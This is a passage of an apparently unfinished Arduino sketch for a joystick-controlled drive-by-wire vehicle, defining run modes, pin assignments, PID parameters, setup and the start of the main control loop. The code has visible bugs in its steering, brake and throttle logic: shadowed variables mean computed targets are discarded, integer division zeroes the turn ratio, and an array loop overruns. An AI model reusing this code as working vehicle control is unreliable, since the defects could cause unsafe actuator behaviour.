Shutdown Mode. Shutdown Mode may override Basic Mode.\r\n# - Actions: Release and deactivate brake and gas actuators. Steering PID keep active \r\n#\r\n# ** Stall Mode **\r\n# - Required: Engine stopped & BasicMode switch Off & Ignition On\r\n# - Priority: 3\r\n# This mode is active when the engine is not running. If car is moving, then it presumably may\r\n# coast to a stop. The actuators are all enabled and work normally. Starting the engine will \r\n# bring you into Hold Mode. Shutdown Mode and Basic Mode both override Stall Mode. Note: This\r\n# mode allows for driver to steer while being towed or pushed, or working on the car.\r\n# - Actions: Enable all actuators\r\n#\r\n# ** Hold Mode **\r\n# - Required: Engine running & JoyVert<=Center & BasicMode switch Off & Ignition On\r\n# - Priority: 4\r\n# This mode is entered from Stall Mode once engine is started, and also, whenever the car comes\r\n# to a stop while driving around in Fly Mode. This mode releases the throttle and will \r\n# continuously increase the brakes until the car is stopped, if it finds the car is moving. \r\n# Pushing up on the joystick from Hold mode releases the brakes & begins Fly Mode.\r\n# Shutdown, Basic & Stall Modes override Hold Mode.\r\n# # Actions: Close throttle, and Apply brake to stop car, continue to ensure it stays stopped.\r\n#\r\n# ** Fly Mode **\r\n# - Required: (Car Moving OR JoyVert>Center) & In gear & Engine running & BasicMode Off & Ign On\r\n# - Priority: 5\r\n# This mode is for driving under manual control. In Fly Mode, vertical joystick positions\r\n# result in a proportional level of gas or brake (AKA \"Manual\" control). Fly Mode is\r\n# only active when the car is moving - Once stopped or taken out of gear, we go back to Hold Mode.\r\n# If the driver performs a special secret \"cruise gesture\" on the joystick, then go to Cruise Mode.\r\n# Special cruise gesture might be: Pair of sudden full-throttle motions in rapid succession\r\n# - Actions: Enable all actuators, Watch for gesture\r\n#\r\n# ** Cruise Mode **\r\n# - Required: Car Moving & In gear & Engine running & BasicMode switch Off & Ignition On\r\n# - Priority: 6 (Lowest)\r\n# This mode is entered from Fly Mode by doing a special joystick gesture. In Cruise Mode,\r\n# the brake is disabled, and the joystick vertical is different: If joyv at center, the\r\n# throttle will actively maintain current car speed. Up or down momentary joystick presses\r\n# serve to adjust that target speed. A sharp, full-downward gesture will drop us back to \r\n# Fly Mode, promptly resulting in braking (if kept held down).\r\n# - Actions: Release brake, Maintain car speed, Handle joyvert differently, Watch for gesture\r\n*\/\r\n\r\n\/\/ Some human readable integers for array indexing\r\n#define STR 0 \/\/ indexer for steering values\r\n#define BRK 1 \/\/ indexer for brake values\r\n#define GAS 2 \/\/ indexer for throttle values\r\n#define H 0 \/\/ indexer for horizontal values\r\n#define V 1 \/\/ indexer for vertical values\r\n#define BOOT -1\r\n#define SHUTDOWN 0\r\n#define BASIC 1\r\n#define STALL 2\r\n#define HOLD 3\r\n#define FLY 4\r\n#define CRUISE 5\r\n\r\n#define arraysize(x) (sizeof(x) \/ sizeof((x)[0])) \/\/ To determine the length of string arrays\r\n\r\n\r\n\/\/ LCD is 2.8in diagonal, 240x320 pixels\r\n\/\/ LCD supports 18-bit color, but GFX library uses 16-bit color, organized (MSB) 5b-red, 6b-green, 5b-blue (LSB)\r\n\/\/ Since the RGB don't line up with the nibble boundaries, it's tricky to quantify a color, here are some colors:\r\n#define BLACK 0x0000\r\n#define BLUE 0x001F\r\n#define RED 0xF800\r\n#define GREEN 0x07E0\r\n#define CYAN 0x07FF\r\n#define MAGENTA 0xF81F\r\n#define YELLOW 0xFFE0 \r\n#define WHITE 0xFFFF\r\n\r\n\/\/ void drawChar(uint16_t x, uint16_t y, char c, uint16_t color, uint16_t bg, uint8_t size);\r\n\/\/void setCursor(uint16_t x0, uint16_t y0);\r\n\/\/void setTextColor(uint16_t color);\r\n\/\/void setTextColor(uint16_t color, uint16_t backgroundcolor);\r\n\/\/void setTextSize(uint8_t size);\r\n\/\/void setTextWrap(boolean w);\r\n\r\n\/\/ Defines for all the GPIO pins we're using\r\n#define enc_b_pin 2 \/\/ Int input, Encoder is user input knob for the UI. This is its B quadrature output, active low (needs pullup)\r\n#define enc_a_pin 3 \/\/ Int input, Encoder is user input knob for the UI. This is its A quadrature output, active low (needs pullup)\r\n#define usd_cs_pin 4 \/\/ Output, active low, Chip select allows SD card controller chip use of the SPI bus\r\n#define tft_ledk_pin 5 \/\/ Output, Optional PWM signal to control brightness of LCD backlight (needs modification to shield board to work)\r\n#define brake_pwm_pin 6 \/\/ Output, PWM signal duty cycle sets speed of brake actuator from full speed extend to full speed retract, (50% is stopped) \r\n#define tp_irq_pin 7 \/\/ Optional int input so touchpanel can interrupt us (need to modify shield board for this to work)\r\n#define steer_pwm_pin 8 \/\/ Output, PWM signal duty cycle sets speed of steering motor from full speed left, to full speed right, (50% is stopped)\r\n#define tft_dc_pin 9 \/\/ Output, Assert when sending data to display chip to indicate commands vs. screen data\r\n#define tft_cs_pin 10 \/\/ Output, active low, Chip select allows ILI9341 display chip use of the SPI bus\r\n#define gas_pwm_pin 13 \/\/ Output, PWM signal duty cycle controls throttle target\r\n#define ignition_pin 15 \/\/ Input tells us if ignition signal is on or off, active high (no pullup)\r\n#define neutral_pin 16 \/\/ Input, active low, is asserted when car is in neutral, i.e. out of gear. (needs pullup)\r\n#define basicmodesw_pin 17 \/\/ Input, active low, asserted to tell us to run in basic mode. (needs pullup)\r\n#define tach_pulse_pin 18 \/\/ Int Input, active high, asserted when magnet is in range of sensor. 4 pulses per engine rotation. (no pullup)\r\n#define speedo_pulse_pin 19 \/\/ Int Input, active high, asserted when magnet is in range of sensor. 8 pulses per driven pulley rotation. (no pullup)\r\n#define enc_sw_pin 20 \/\/ Int input, Encoder is user input knob for the UI. This is its pushbutton output, active low (needs pullup)\r\n#define joy_horz_pin A0 \/\/ Analog input, tells us up-down position of joystick\r\n#define joy_vert_pin A1 \/\/ Analog input, tells us left-right position of joystick\r\n#define brake_pres_pin A2 \/\/ Analog input, tells us brake fluid pressure (5V = 1000psi)\r\n#define brake_pos_pin A6 \/\/ Analog input, tells us linear position of brake actuator \r\n#define mule_volt_pin A7 \/\/ Analog input, mule battery voltage level, full scale is 5V * 3.1276 = 15.638V\r\n\r\n\/\/ Readily available possibilities we could wire up if we want\r\n\/\/\r\n\/\/ * Status LEDs (digital out)\r\n\/\/ * UI Potentiometer (analog in)\r\n\/\/ * Control of steering motor coast vs. brake\r\n\/\/ * Control of brake motor coast vs. brake\r\n\/\/ * CAN bus as a superior interface to brake and steering Jaguars (only on Due I think?)\r\n\/\/ * Steering limit switches left and right, handle here instead of in Jaguar (digital in)\r\n\/\/ * Engine temperature module overheat panic input (digital in)\r\n\/\/ * Remote E-Stop panic inputs (digital in)\r\n\/\/ * Serial interface to the lighting controller (if we can think of a reason)\r\n\/\/ * Mule starter (digital out)\r\n\/\/ * E-brake handle position (digital in)\r\n\r\n#define disp_lineheight 15\r\n#define disp_linewidth 320\r\n#define disp_screenheight 240\r\n\r\n#define adcrange 1024 \/\/ = 1024\r\n#define adcmidscale 512 \/\/ = 1024\r\n\/\/int adcrange = 2^10; \/\/ = 1024\r\n\/\/int adcmidscale = adcrange\/2; \/\/ = 1024\r\n\r\n\/\/ Constants\r\n\/\/\r\nchar telemetry[16][14] = { \r\n \" Run Mode: \",\r\n \" Air Speed: \",\r\n \" Joy Horz: \",\r\n \" Joy Vert: \",\r\n \"SteerTarget: \",\r\n \" Steer PWM: \",\r\n \"BrakeTarget: \",\r\n \" Brake PWM: \",\r\n \"BrakePressr: \", \r\n \" GasTarget: \",\r\n \" Gas PWM: \",\r\n \" Engine RPM: \",\r\n \" Touch X: \",\r\n \" Touch Y: \",\r\n \"JoyHorz Raw: \",\r\n \" NA: \"\r\n};\r\nchar modecard[6][9] = {\r\n \"Shutdown\",\r\n \"Basic \",\r\n \"Stall \",\r\n \"Hold \",\r\n \"Fly \",\r\n \"Cruise \"\r\n};\r\n\/*\r\nchar actioncard[6][9] = {\r\n \"Unknown \",\r\n \"Stopping\",\r\n \"New Mode\",\r\n \"Flying \",\r\n \"Cruising\",\r\n \"Releasng\", \r\n \"Holding \"\r\n};\r\n*\/\r\n\r\n\/\/ Settable calibration values and control parameters\r\n\/\/\r\nfloat steer_kp = 0.0; \/\/ PID proportional coefficient (steering)\r\nfloat steer_ki = 0.0; \/\/ PID integral coefficient (steering)\r\nfloat steer_kd = 0.0; \/\/ PID derivative coefficient (steering)\r\nint steer_pid_freq = 10; \/\/ How fast to loop in Hz\r\nint steer_stop = 90; \/\/ Servo target corresponding to no steering (zero steering speed)\r\nint steer_max_speed = 90; \/\/ Fastest steering we want. (in change of PWM duty from center)\r\nfloat brake_kp = 0.1; \/\/ PID proportional coefficient (brake)\r\nfloat brake_ki = 0.5; \/\/ PID integral coefficient (brake)\r\nfloat brake_kd = 0.0; \/\/ PID derivative coefficient (brake)\r\nint brake_pid_freq = 10; \/\/ How fast to loop in Hz\r\nint brake_min_release = 0; \/\/ Brake pressure when brakes are effectively off\r\nint brake_max_pressure = 0; \/\/ Highest possible pressure achievable by the actuator\r\nint brake_hold_initial = 0; \/\/ Pressure initially applied when brakes are hit to auto-stop the car\r\nint brake_hold_increment = 0; \/\/ Incremental pressure per second added until car stops (when auto stopping)\r\nint brake_pos_full_retract = 0; \/\/ Brake position value corresponding to retract limit of actuator\r\nint brake_pos_full_extend = 0; \/\/ Brake position value corresponding to extend limit of actuator\r\nint brake_increment_interval = 1000; \/\/ How often to apply increment during auto-stopping\r\nfloat gas_kp = 0.0; \/\/ PID proportional coefficient (gas)\r\nfloat gas_ki = 0.0; \/\/ PID integral coefficient (gas)\r\nfloat gas_kd = 0.0; \/\/ PID derivative coefficient (gas)\r\nint gas_pid_freq = 10; \/\/ How fast to loop in Hz\r\nint throttle_min_closed = 45; \/\/ servo target angle setting (in degrees) corresponding to fully closed throttle\r\nint throttle_max_open = 120; \/\/ servo target angle setting (in degrees) corresponding to full open throttle\r\nint engine_rpm_min_idle = 0; \/\/ Min value for engine_rpm, corresponding to low idle\r\nint engine_rpm_max_redline = 0; \/\/ Max value for engine_rpm, pedal to the metal\r\nint engine_rpm_timeout = 400; \/\/ ms since last magnet pulse when we can assume the engine is stopped\r\nfloat cruise_kp = 0.0; \/\/ PID proportional coefficient (cruise)\r\nfloat cruise_ki = 0.0; \/\/ PID integral coefficient (cruise)\r\nfloat cruise_kd = 0.0; \/\/ PID derivative coefficient (cruise)\r\nint cruise_pid_freq = 10; \/\/ How fast to loop in Hz\r\nint cruise_max_change = 0; \/\/ What's the max car speed change from a single joystick motion in cruise mode? \r\nint cruise_max_carspeed = 0; \/\/ How fast can we go?\r\nint joy_min_v = 0; \/\/ ADC count of furthest joy position in down direction \r\nint joy_max_v = 0; \/\/ ADC count of furthest joy position in up direction \r\nint joy_min_h = 0; \/\/ ADC count of furthest joy position in left direction \r\nint joy_max_h = 0; \/\/ ADC count of furthest joy position in right direction \r\nint joy_deadband_v = 140; \/\/ ADC count width of inert readings around center which we should treat as center (vertical)\r\nint joy_deadband_h = 140; \/\/ ADC count width of inert readings around center which we should treat as center (horizontal)\r\nint gesture_adj_timeout = 1000; \/\/ How many ms allowed to complete a speed adjustment gesture\r\nint gesture_fly_timeout = 500; \/\/ How many ms allowed to push joy down to go to Fly mode from Cruise mode\r\nint car_speed_timeout = 400; \/\/ ms since last magnet pulse when we can assume the car is stopped\r\n\r\n\/\/ Non-settable control variables\r\n\/\/\r\nint steer_max_left = steer_stop+steer_max_speed; \/\/ PWM duty cycle from 0-255\r\nint steer_max_right = steer_stop-steer_max_speed; \/\/ PWM duty cycle from 0-255\r\nint steer_fullrange = abs(steer_max_left-steer_max_right); \/\/ Possible range for target values\r\nint steer_target = 0; \/\/ Stores new setpoint to give to the pid loop (steering)\r\nint steer_pwm = 0; \/\/ pid loop output to send to the actuator (steering)\r\nint brake_fullrange = brake_max_pressure-brake_min_release; \/\/ Possible range for target values\r\nint brake_target = 0; \/\/ Stores new setpoint to give to the pid loop (brake)\r\nint brake_pwm = 0; \/\/ pid loop output to send to the actuator (brake)\r\nint gas_target = 0; \/\/ Stores new setpoint to give to the pid loop (gas)\r\nint gas_pwm = 0; \/\/ pid loop output to send to the actuator (gas)\r\nint throttle_fullrange = throttle_max_open-throttle_min_closed; \/\/ Possible range for target values\r\nint engine_rpm_fullrange = engine_rpm_max_redline-engine_rpm_min_idle; \/\/ Possible range for target values\r\nint joy_deadband_bot_v = int((adcrange-joy_deadband_v)\/2); \/\/ Lower threshold of vertical joystick deadband\r\nint joy_deadband_top_v = int((adcrange+joy_deadband_v)\/2); \/\/ Upper threshold of vertical joystick deadband\r\nint joy_deadband_bot_h = int((adcrange-joy_deadband_h)\/2); \/\/ Lower threshold of horizontal joystick deadband\r\nint joy_deadband_top_h = int((adcrange+joy_deadband_h)\/2); \/\/ Upper threshold of horizontal joystick deadband\r\nint car_speed = -1; \/\/ This is in units of rotations per minute of the driven torque converter pulley\r\nint engine_rpm = -1; \/\/ This is in units of rotations per minute of the engine crankshaft\r\nconst int gesture_complete = 0; \/\/ How many steps are there in the Cruise Mode gesture\r\nint gesture_extent = 0; \/\/ Keeps track of max joystick movement during cruise mode speed adjustments\r\n\r\nint brake_timer = 0; \/\/ Timer used to control braking increments\r\nint cruise_target = 0; \/\/ Stores new setpoint to give to the pid loop (cruise)\r\nint gesture_timer = 0; \/\/ Used to keep track of time for gesturing\r\nint gesture_progress = 0; \/\/ How many steps of the Cruise Mode gesture have you completed successfully (from Fly Mode)\r\nlong steer_fullrange_long = (long)steer_fullrange;\r\nconst long adcrange_long = (long)adcrange;\r\nlong joy_deadband_bot_h_long = (long)joy_deadband_bot_h;\r\nlong joy_deadband_top_h_long = (long)joy_deadband_top_h;\r\n\r\n\/\/ State variables\r\n\/\/\r\nint runmode = SHUTDOWN; \/\/ Variable to store what mode we're in\r\nint oldmode = SHUTDOWN; \/\/ So we can tell when the mode has just changed\r\nbool we_just_switched_modes = true; \/\/ For mode logic to set things up upon first entry into mode\r\nbool shutdown_complete = true; \/\/ Shutdown mode has completed its work and can stop activity\r\n\r\n\/\/ Initialization of global variables, tunable parameters, etc.\r\nint output_bits = 8;\r\nbool output_signed = false;\r\n\r\nboolean RecordOn = false;\r\n\r\nunsigned long tach_old_time, speedo_old_time, tach_time, speedo_time;\r\n\r\n\/\/ Instantiate objects \r\nAdafruit_FT6206 touchpanel = Adafruit_FT6206();\r\nAdafruit_ILI9341 tft = Adafruit_ILI9341(tft_cs_pin, tft_dc_pin);\r\nstatic Servo steer_motor;\r\nstatic Servo gas_servo;\r\nFastPID brake_pid(brake_kp, brake_ki, brake_kd, brake_pid_freq, output_bits, output_signed);\r\nSdFat SD; \/\/ SD card filesystem\r\n\r\n\/\/ Instantiate PID loops\r\n\/\/\r\n\/\/ Steering:\r\n\/\/ Setpoint Value: Proportional to Joystick Horz ADC value. 0V = Full Left, 2.5V = Stop, 5V = Full Right\r\n\/\/ Measured Value: We have no feedback. Try using a value proportional to the current actuator output\r\n\/\/ Actuator Output Value: PWM signal to Steering Jaguar unit. 0% duty = Full Left, 50% = Stop, 100% = Full Right\r\n\/\/ Limits: Reed switch limit signals for left and right may be handled by us, or by the jaguar controller\r\n\/\/ Setpoint scaling: Kp\/Ki\/Kd values should decrease appropriately as a function of vehicle speed (safety) \r\n\/\/\r\n\/\/ Notes: The steering has no feedback sensing, other than two digital limit switches at the ends of travel. \r\n\/\/ So just consider the error to be the difference between the joystick position and the last output value.\r\n\/\/\r\n\/\/ Brakes:\r\n\/\/ Setpoint Value: * Default: Setpoint proportional to Joystick Vert distance from center when below center.\r\n\/\/ * In Hold Mode: Brake adjusts automatically to keep car stopped, as long as joystick below center\r\n\/\/ * In Cruise Mode: Brake is disabled \r\n\/\/ Measured Value: Analog voltage from brake fluid pressure sensor. 0-3.3V proportional to 0-1000psi\r\n\/\/ Actuator Output Value: PWM signal to Brake Jaguar unit.\r\n\/\/ 0% duty = Full speed extend (less brake), 50% = Stop, 100% = Full speed Retract (more brake)\r\n\/\/ Position: Analog 0-3.3V proportional to the travel length of the actuator (not used as feedback)\r\n\/\/\r\n\/\/ Gas:\r\n\/\/ Setpoint Value: * Default: Servo angle is proportional to Joystick Vert distance from center when above center.\r\n\/\/ * In Cruise Mode: Upward or downward joy vert motions modify vehicle speed setpoint\r\n\/\/ Measured Value: * Default: Engine speed determined from tach pulses\r\n\/\/ Actuator Output Value: PWM signal to throttle servo\r\n\/\/ 0% duty = Fully close throttle. This will idle. 100% duty = Fully open throttle.\r\n\/\/\r\n\/\/ Cruise:\r\n\/\/ Setpoint Value: * Default: Set to the current vehicle speed when mode is entered.\r\n\/\/ * In Cruise Mode: Upward or downward joy vert motions modify vehicle speed setpoint\r\n\/\/ Measured Value: * Vehicle speed determined from tach pulses\r\n\/\/ Actuator Output Value: Cruise PID output values are setpoint values for the Gas PID above\r\n\/\/ 0% duty = Car stopped. 100% duty = Car max speed.\r\n\r\nstatic Servo steering_servo;\r\n\/\/ Setup code runs once at boot time\r\n\r\nbool encb_isr_flag = false;\r\nbool enca_isr_flag = false;\r\nbool encsw_isr_flag = false;\r\nbool tach_isr_flag = false;\r\nbool speedo_isr_flag = false;\r\n\r\nvoid setup() {\r\n pinMode(enc_b_pin, INPUT_PULLUP);\r\n pinMode(enc_a_pin, INPUT_PULLUP);\r\n pinMode(brake_pwm_pin, OUTPUT);\r\n pinMode(steer_pwm_pin, OUTPUT);\r\n pinMode(tft_dc_pin, OUTPUT);\r\n pinMode(enc_sw_pin, INPUT_PULLUP);\r\n pinMode(gas_pwm_pin, OUTPUT);\r\n pinMode(ignition_pin, INPUT);\r\n pinMode(neutral_pin, INPUT_PULLUP);\r\n pinMode(basicmodesw_pin, INPUT_PULLUP);\r\n pinMode(tach_pulse_pin, INPUT);\r\n pinMode(speedo_pulse_pin, INPUT);\r\n pinMode(joy_horz_pin, INPUT);\r\n pinMode(joy_vert_pin, INPUT);\r\n pinMode(brake_pres_pin, INPUT);\r\n pinMode(brake_pos_pin, INPUT);\r\n pinMode(mule_volt_pin, INPUT);\r\n pinMode(usd_cs_pin, OUTPUT);\r\n pinMode(tft_cs_pin, OUTPUT);\r\n \/\/pinMode(tft_ledk_pin, OUTPUT);\r\n \/\/pinMode(tp_irq_pin, INPUT);\r\n\r\n \/\/ Set all outputs to known sensible values\r\n digitalWrite(tft_cs_pin, HIGH); \/\/ Prevent bus contention\r\n digitalWrite(usd_cs_pin, HIGH); \/\/ Prevent bus contention\r\n digitalWrite(tft_dc_pin, LOW);\r\n analogWrite(brake_pwm_pin, 128); \/\/ Write values range from 0 to 255\r\n analogWrite(steer_pwm_pin, 128);\r\n analogWrite(gas_pwm_pin, throttle_min_closed);\r\n\r\n \/\/ Timers T0 (8b): pins 4,13 - T1 (16b): pins 11,12 - T2 (8b): pins 9,10 - T3 (16b): pins 2,3,5 - T4 (16b): pins 6,7,8 - T5 (16b): pins 44,45,46\r\n \/\/ Registers: TCCRx = Timer control, prescalar, TCNTx = Timer value, OCRx = Output compare, ICRx = Input Capture, TIMSKx = Int mask, TIFRx = Int Flags\r\n TCCR0B = TCCR0B & B11111000 | B00000101; \/\/ set timer 0 divisor to 1024 for PWM frequency of 61.04 Hz (Gas Servo)\r\n TCCR4B = TCCR4B & B11111000 | B00000100; \/\/ set timer 4 divisor to 256 for PWM frequency of 122.55 Hz (Brake & Steering)\r\n \r\n \/\/while (!Serial); \/\/ needed for debugging?!\r\n Serial.begin(115200);\r\n tft.begin();\r\n \r\n Serial.println(F(\"Captouch initialization\"));\r\n if (! touchpanel.begin(40)) { \/\/ pass in 'sensitivity' coefficient\r\n Serial.println(\"Couldn't start FT6206 touchscreen controller\");\r\n while (1);\r\n }\r\n Serial.println(\"Capacitive touchscreen started\");\r\n tft.fillScreen(BLACK);\r\n tft.setRotation(1); \/\/ origin = left,top landscape (USB left upper)\r\n \r\n Serial.print(F(\"Initializing filesystem...\")); \/\/ SD card is pretty straightforward, a single call. \r\n if (! SD.begin(usd_cs_pin, SD_SCK_MHZ(25))) { \/\/ ESP32 requires 25 MHz limit\r\n Serial.println(F(\"SD begin() failed\"));\r\n for(;;); \/\/ Fatal error, do not continue\r\n }\r\n Serial.println(F(\"Filesystem started\"));\r\n \/\/tft.fillScreen(ILI9341_BLUE); \/\/ Fill screen blue. \r\n\r\n steer_motor.attach(steer_pwm_pin);\r\n gas_servo.attach(gas_pwm_pin);\r\n\r\n \/\/ Set up our interrupts\r\n attachInterrupt(digitalPinToInterrupt(enc_b_pin), EncoderB_ISR, CHANGE);\r\n attachInterrupt(digitalPinToInterrupt(enc_a_pin), EncoderA_ISR, CHANGE);\r\n attachInterrupt(digitalPinToInterrupt(enc_sw_pin), EncoderSw_ISR, CHANGE);\r\n attachInterrupt(digitalPinToInterrupt(tach_pulse_pin), Tach_ISR, RISING);\r\n attachInterrupt(digitalPinToInterrupt(speedo_pulse_pin), Speedo_ISR, RISING);\r\n\r\n int i;\r\n for (i=0; i<=arraysize(telemetry); i++) {\r\n writeline(i+1, telemetry[i]);\r\n }\r\n}\r\n\r\nvoid EncoderB_ISR(void) {\r\n encb_isr_flag = true;\r\n}\r\nvoid EncoderA_ISR(void) {\r\n enca_isr_flag = true;\r\n}\r\nvoid EncoderSw_ISR(void) {\r\n encsw_isr_flag = true;\r\n}\r\nvoid Tach_ISR(void) {\r\n tach_time = millis(); \/\/ This might screw up things. Anders would remember\r\n tach_isr_flag = true;\r\n}\r\nvoid Speedo_ISR(void) {\r\n speedo_time = millis(); \/\/ This might screw up things. Anders would remember\r\n speedo_isr_flag = true;\r\n}\r\n\r\nvoid set_steer_pwm(int target_in_degrees) {\r\n steer_motor.write(target_in_degrees);\r\n}\r\n\r\nvoid set_gas_pwm(int target_in_degrees) {\r\n gas_servo.write(target_in_degrees);\r\n}\r\n\r\n\/\/ Returns: The value read on the joystick from 0 (maximum left) to 1024 (maximum right).\r\n\/\/ Zero values correspond to the deadband at the center position.\r\nint read_joy_vert(void) {\r\n int adc_value = analogRead(joy_vert_pin);\r\n int joy_vert;\r\n \r\n if ((adc_value > joy_deadband_bot_v) && (adc_value < joy_deadband_top_v)) {\r\n joy_vert = adcmidscale; \/\/ return 0 input if value is in the deadband\r\n }\r\n else {\r\n joy_vert = adcrange-adc_value;\r\n }\r\n return joy_vert;\r\n}\r\n\r\nint read_joy_horz(void) {\r\n int adc_value = analogRead(joy_horz_pin);\r\n int joy_horz;\r\n \r\n if ((adc_value > joy_deadband_bot_h) && (adc_value < joy_deadband_top_h)) {\r\n joy_horz = adcmidscale; \/\/ return 0 input if value is in the deadband\r\n }\r\n else {\r\n joy_horz = adcrange-adc_value;\r\n }\r\n return joy_horz;\r\n}\r\n\r\n\/\/ Inputs: The joystick input between -512 and 512.\r\n\/\/ Returns: The joystick target to output from 0 to 180 degrees.\r\nint joy_horz_to_target(int joy_input) {\r\n int target;\r\n long joy_input_long = (long)joy_input;\r\n long max_target_deg_long = (long)steer_fullrange;\r\n long adcrange_long = (long)adcrange;\r\n \r\n target = (int)((joy_input_long*max_target_deg_long)\/adcrange_long);\r\n return target;\r\n}\r\n\r\nint joy_vert_to_target(int joy_input) {\r\n int target;\r\n long joy_input_long = (long)joy_input;\r\n\r\n long max_target_deg_long;\r\n long adcrange_long = (long)adcrange;\r\n if (joy_input > joy_deadband_top_v) {\r\n max_target_deg_long = (long)engine_rpm_max_redline;\r\n }\r\n else {\r\n max_target_deg_long = (long)brake_max_pressure; \r\n }\r\n target = (int)((joy_input_long*max_target_deg_long)\/(2*adcrange_long));\r\n return target;\r\n}\r\n\/*int* read_joy_values(void) {\r\n int joy_raw_values[2];\r\n joy_raw_values[H] = analogRead(joy_horz_pin);\r\n joy_raw_values[V] = analogRead(joy_vert_pin);\r\n\r\n int joy_values[2]; \r\n\r\n for (axis=H; axis<=V; axis++) {\r\n \/\/check if the value is in the deadband, return 0 input if it is\r\n if ((joy_raw_values[axis] > joy_deadband_bot_) && (joy_raw_values[axis] < joy_deadband_top[axis])) {\r\n joy_values[axis] = adcmidscale;\r\n }\r\n else {\r\n joy_values[axis] = adcrange-joy_raw_values[axis];\r\n }\r\n return joy_values;\r\n}\r\n\r\nint *joy_to_actuator_targets(int *joy_values) {\r\n long servo_max_target_deg_long = (long)steer_fullrange;\r\n long adcmidscale_long = (long)adcmidscale;\r\n long adcrange_long = (long)adcrange;\r\n\r\n int actuator_targets[3];\r\n long joy_values_long[2];\r\n \r\n joy_values_long[H] = (long)joy_values[H]; \r\n joy_values_long[V] = (long)joy_values[V];\r\n \r\n actuator_targets[STR] = (int)((joy_values_long[H]*servo_max_target_deg_long)\/adcrange_long);\r\n \r\n \/\/actuator_targets[BRK] = BRAKE_FULL_EXTEND_TARGET;\r\n \/\/if (joy_values[V] < adcmidscale)\r\n \/\/{\r\n \/\/ actuator_targets[BRK] = (int)((adcmidscale_long-joy_values_long[V])*servo_max_target_deg_long\/adcmidscale_long);\r\n \/\/}\r\n\r\n actuator_targets[GAS] = throttle_min_closed;\r\n if (joy_values[V] > adcmidscale) {\r\n actuator_targets[GAS] = (int)((joy_values_long[V]-adcmidscale_long)\/adcmidscale_long);\r\n }\r\n\r\n return actuator_targets;\r\n}\r\n*\/\r\n\r\nvoid writevalue(int lineno, char *value) {\r\n tft.fillRect(80, (lineno-1)*disp_lineheight, 55, disp_lineheight, BLACK);\r\n \/\/tft.fillRect(0, (lineno-1)*disp_lineheight, disp_linewidth, disp_lineheight, ILI9341_BLACK);\r\n tft.setCursor(86, ((lineno-1)*disp_lineheight)+disp_lineheight\/2);\r\n tft.setTextColor(WHITE);\r\n tft.setTextSize(1);\r\n tft.println(value);\r\n RecordOn = false;\r\n}\r\n\r\nvoid writeline(int lineno, char *value) {\r\n tft.fillRect(0, (lineno-1)*disp_lineheight, disp_linewidth, disp_lineheight, BLACK);\r\n tft.setCursor(6, ((lineno-1)*disp_lineheight)+disp_lineheight\/2);\r\n tft.setTextColor(WHITE);\r\n tft.setTextSize(1);\r\n tft.println(value);\r\n RecordOn = false;\r\n}\r\n\r\nvoid loop() {\r\n \/\/ Main loop. Each time through we do these eight steps:\r\n \/\/\r\n \/\/ 1) Gather new telemetry\r\n \/\/ 2) Check if our current runmode has been overridden by certain specific conditions\r\n \/\/ 3) Read joystick horizontal and determine new steering setpoint\r\n \/\/ 4) Do actions based on which runmode we are in (including gas & brake setpoint), and possibly change runmode \r\n \/\/ 5) Step the PID loops and update the actuation outputs\r\n \/\/ 6) Service the user interface\r\n \/\/ 7) Log to SD card\r\n \/\/ 8) Do the control loop bookkeeping at the end of each loop\r\n\r\n \/\/ Initialize variables\r\n \/\/\r\n int joy_vert, joy_horz, old_joy_vert, old_joy_horz; \r\n char buffer[6];\r\n int steer_target, brake_target, gas_target, old_steer_target, old_brake_target, old_gas_target;\r\n int steer_pwm, brake_pwm, gas_pwm, old_steer_pwm, old_brake_pwm, old_gas_pwm; \r\n int engine_rpm, old_engine_rpm, car_speed, old_car_speed;\r\n int before, after;\r\n int old_brake_pressure;\r\n int pwmtimer;\r\n\r\n \/\/ 1) Gather new telemetry\r\n \/\/\r\n int now = millis();\r\n if (tach_isr_flag == true) { \/\/ Update engine rpm value\r\n float engine_rpm = 60*1000\/(4*(tach_time-tach_old_time));\r\n tach_old_time = tach_time;\r\n tach_isr_flag = false;\r\n } \r\n else if (now-tach_old_time > engine_rpm_timeout) {\r\n engine_rpm = 0;\r\n }\r\n if (speedo_isr_flag == true) { \/\/ Update car speed value\r\n float car_speed = 60*1000\/(8*(speedo_time-speedo_old_time));\r\n speedo_old_time = speedo_time;\r\n speedo_isr_flag = false;\r\n } \/\/ Mule gearing: Total -19.845x (lo) ( Converter: -3.5x to -0.96x Tranny -3.75x (lo), -1.821x (hi), Final drive -5.4x )\r\n else if (now-speedo_old_time > car_speed_timeout) {\r\n car_speed = 0;\r\n }\r\n \r\n \/\/ Read the sensors\r\n int brake_pressure = analogRead(brake_pres_pin);\r\n int brake_pos = analogRead(brake_pos_pin);\r\n int mule_voltage = analogRead(mule_volt_pin);\r\n int neutral = digitalRead(neutral_pin);\r\n int ignition = digitalRead(ignition_pin);\r\n \/\/int basicmodesw = digitalRead(basicmodesw_pin);\r\n int basicmodesw = 1; \/\/ Disable for now until connected\r\n\r\n \/\/ 2) Check if our current runmode has been overridden by certain specific conditions\r\n \/\/\r\n if (ignition == 0) { \/\/ if ignition off --> Shutdown Mode\r\n runmode = SHUTDOWN;\r\n }\r\n else if (basicmodesw == 0) { \/\/ elif basicmode switch on --> Basic Mode\r\n runmode = BASIC;\r\n }\r\n else if (engine_rpm == 0) { \/\/ elif engine not running --> Stall Mode\r\n runmode = STALL; \r\n }\r\n\r\n \/\/ 3) Read joystick horizontal and determine new steering setpoint\r\n \/\/\r\n joy_vert = read_joy_vert();\r\n joy_horz = read_joy_horz();\r\n\r\n if (!(runmode == SHUTDOWN && (car_speed == 0 or shutdown_complete == true))) { \/\/ The only time we don't want steering\r\n long joy_horz_long = (long)joy_horz;\r\n if (joy_horz < joy_deadband_bot_h) { \/\/ If we are trying to turn left\r\n \/\/ This should determine how hard we're trying to turn (0 to 1 range)\r\n int temp = (int)((joy_deadband_bot_h_long-joy_horz_long)\/joy_deadband_bot_h_long);\r\n int steer_target = (steer_fullrange_long\/2)*(1-temp);\r\n }\r\n else if (joy_horz > joy_deadband_top_h) { \/\/ If we are trying to turn right\r\n \/\/ This should determine how hard we're trying to turn (0 to 1 range)\r\n int temp = (int)((joy_horz_long-joy_deadband_top_h_long)\/joy_deadband_bot_h_long);\r\n int steer_target = (steer_fullrange_long\/2)*(1+temp);\r\n \/\/int steer_target = (steer_fullrange_long\/2)*(1+(int)((joy_horz_long-joy_deadband_top_h_long)\/joy_deadband_bot_h_long));\r\n }\r\n else {\r\n steer_target = steer_stop; \/\/ adjust to actual center\r\n }\r\n }\r\n \/\/ Try this with the commented function above\r\n \/\/ joy_values = 